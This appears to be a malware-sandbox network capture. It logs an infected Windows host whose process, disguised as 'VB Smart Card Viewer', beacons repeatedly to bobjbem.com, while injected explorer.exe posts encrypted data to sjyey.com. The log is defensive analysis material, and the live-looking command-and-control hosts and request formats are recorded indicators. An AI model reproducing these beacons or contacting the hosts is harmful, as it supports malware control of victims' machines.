Feb 5, 2024 10:58:39.047645092 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49799	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:39.412354946 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:39.650784969 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49800	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:39.449774981 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ppddejjdywghvuk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 186 Host: sjyey.com
Feb 5, 2024 10:58:39.449934959 CET	186	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 4c 4a ab 8c Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vuLJPLnUnDj2G;eeAdtG/.*t.,{"c47MXC5F
Feb 5, 2024 10:58:40.013215065 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49802	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:40.256305933 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jnpsqasgofu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 324 Host: sjyey.com
Feb 5, 2024 10:58:40.256305933 CET	324	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 60 1c ea b5 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vu`1SVQ>"PN;4gD%sf\|x+>B<u:B]BMX3z'Z7 .p{@h@-?,3lRN&6i)aJG+
Feb 5, 2024 10:58:40.840136051 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49801	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:40.286367893 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:40.524271965 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49803	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:40.884979963 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:41.123564959 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49804	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:41.461061954 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:41.701613903 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49805	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:42.063029051 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:42.301459074 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49806	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:42.742841959 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:42.980751038 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49807	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:43.325210094 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:43.564021111 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49808	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:43.920262098 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:44.159064054 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49809	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:44.506042957 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:44.746124983 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49810	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:45.102910995 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:45.340769053 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49811	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:45.779417038 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:46.017879009 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49812	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:46.432917118 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:46.670686007 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49813	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:47.007405043 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:47.245414019 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49814	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:47.605827093 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:47.843909979 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49815	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:48.204379082 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:48.442645073 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49816	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:48.830513954 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:49.069108963 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49817	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:49.538779974 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:49.777265072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49818	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:50.237417936 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:50.475980997 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49819	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:50.890618086 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:51.129539013 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49821	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:51.481791973 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
